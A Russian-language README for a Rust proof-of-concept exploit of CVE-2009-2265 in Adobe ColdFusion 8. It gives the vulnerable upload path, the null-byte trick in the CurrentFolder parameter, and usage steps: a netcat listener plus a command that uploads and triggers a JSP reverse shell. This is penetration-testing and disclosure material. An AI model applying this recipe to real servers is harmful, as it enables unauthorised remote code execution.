CVE-2009-2265 - RCE через загрузку файлов в Adobe ColdFusion 8

Реализация POC для эксплойта CVE-2009-2265 на Rust, нацеленная на Adobe ColdFusion 8.

Обзор уязвимости

Эта уязвимость позволяет неаутентифицированному злоумышленнику загружать произвольные файлы в каталог, доступный через веб, на сервере под управлением Adobe ColdFusion 8, что приводит к удаленному выполнению кода (RCE).

Технические детали

• Уязвимость: обход каталога через внедрение нулевого байта
• Компонент: коннектор FCKeditor upload.cfm
• Параметр: CurrentFolder
• Воздействие: удаленное выполнение кода (RCE)
• Затронутое ПО: Adobe ColdFusion 8.0.1 и более ранние версии

Описание

Уязвимость существует в функциональности загрузки файлов компонента FCKeditor, расположенного по пути /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm. Параметр HTTP GET CurrentFolder недостаточно очищается, что позволяет провести атаку с внедрением нулевого байта (%00).

Создавая запрос, в котором параметр CurrentFolder установлен в /<filename>.jsp%00, злоумышленник может обойти серверные проверки расширений. Базовая система (часто Java) интерпретирует нулевой байт как конец строки, обрабатывая имя файла как <filename>.jsp. Это позволяет злоумышленнику загрузить вредоносный JSP-файл. Сервер сохраняет этот файл в общедоступный каталог (/userfiles/file/), откуда его можно выполнить, просто обратившись по его URL.

Этот POC автоматизирует процесс, генерируя JSP-полезную нагрузку для reverse shell, загружая её с помощью уязвимости нулевого байта и запуская её для получения оболочки на целевой системе.

Использование

Выполните следующие шаги для компиляции и запуска эксплойта.

Шаг 1: Настройка прослушивателя Netcat

Перед запуском эксплойта запустите прослушиватель на вашей локальной машине, чтобы поймать входящую обратную оболочку.

nc -lnvp <attacker-port>

Шаг 2: Запуск эксплойта

Запустите скомпилированный бинарный файл, указав ваш локальный хост/порт для обратной оболочки и хост/порт удаленной цели.

cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>

После того как скрипт запустит полезную нагрузку, вы должны получить соединение на вашем прослушивателе Netcat.

Отказ от ответственности

Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Используйте ответственно и только на тех системах, которыми вы владеете или на которые имеете явное разрешение.